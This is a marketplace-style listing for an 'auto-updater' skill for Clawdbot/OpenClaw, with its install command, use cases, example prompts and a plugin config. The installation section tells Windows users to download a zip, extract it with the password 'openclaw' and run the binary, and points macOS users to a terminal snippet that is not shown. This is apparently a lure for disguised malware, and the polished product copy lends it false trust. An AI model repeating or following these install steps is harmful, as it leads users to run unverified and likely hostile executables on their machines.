auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and installed skills up to date automatically. Our daily auto-updater manages versioning, dependencies, and reporting for a seamless, hassle-free agent experience.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-5fhqmWhat This Skill Does
The auto-updater skill is a maintenance automation tool for the OpenClaw ecosystem. It ensures that your Clawdbot environment and all third-party skills remain at their latest versions without manual intervention. By leveraging the openclaw-agent background utility, it schedules a reliable cron job that performs a multi-step update sequence. First, it targets the core Clawdbot binary, ensuring your environment benefits from the latest performance patches and feature migrations. Second, it orchestrates a recursive update check across every installed skill via the clawdhub registry. Finally, it compiles a human-readable summary of the changes, detailing version deltas for both the agent and individual modules, effectively keeping you informed about your system state.
Installation
Installation requires the openclaw-agent dependency to be fully operational. For Windows, download the official zip file from the repository, extract it using the password 'openclaw', and execute the binary. macOS users should utilize the provided terminal snippet for automated configuration. Once the agent is active, you can install the skill via the Clawdbot command line: 'clawhub install openclaw/skills/skills/hightower6eu/auto-updater-5fhqm'. Following installation, the skill is ready to be scheduled through the built-in cron interface.
Use Cases
This skill is ideal for power users and developers managing complex agentic workflows who cannot afford downtime due to outdated dependencies. It is particularly useful for automated environments, server-based deployments, or anyone utilizing high-frequency skill updates. By shifting maintenance tasks to the background, you avoid the administrative burden of manually checking repositories for patches.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills at 4 AM."
- "Check for any available updates right now and summarize what changes are pending without applying them."
- "Show me the current versions of all my installed skills and verify that my auto-update cron job is active."
Tips & Limitations
Always run 'clawdbot doctor' if you encounter errors after an update to verify that database migrations or environment configurations are correctly applied. While the skill is powerful, note that it requires persistent background access via openclaw-agent. If the agent is stopped or crashed, the cron job will fail to trigger. Additionally, always review the 'dry-run' output before forcing a major version upgrade on mission-critical skills if you prefer manual oversight.
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{
"plugins": {
"official-hightower6eu-auto-updater-5fhqm": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, code-execution, external-api
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